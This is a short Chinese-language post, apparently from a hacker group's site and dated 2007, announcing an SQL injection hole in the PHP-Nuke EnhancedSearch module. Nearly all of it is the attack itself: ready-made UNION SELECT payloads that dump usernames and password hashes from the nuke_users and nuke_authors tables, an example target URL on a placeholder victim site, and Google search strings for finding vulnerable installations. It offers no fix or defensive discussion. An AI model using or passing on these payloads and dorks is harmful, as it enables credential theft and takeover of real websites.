PHPNuke所有版本EnhancedSearch文件存在注入漏洞

www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------

 SQLInjection:

EnhancedSearch%')UNIONSELECT0,user_id,username,user_password,0,0,0,0,0,0FROMnuke_users/*

EnhancedSearch%')UNIONSELECT0,pwd,name,aid,0,0,0,0,0,0FROMnuke_authors/*

EnhancedSearch%')UNIONALLSELECT1,2,aid,pwd,5,6,7,8,9,10FROMnuke_authors/*

-------------------------------------------

http://www.victim.com/path/modules.php?name=EnhancedSearch

Search:

EnhancedSearch%')UNIONALLSELECT1,2,aid,pwd,5,6,7,8,9,10FROMnuke_authors/*

-------------------------------------------

google:

"EnhancedSearchVersion2.0:Poweredby"

inurl:"modules.php?name=EnhancedSearch"

【免费加入会员】【我要投稿】【关闭本页】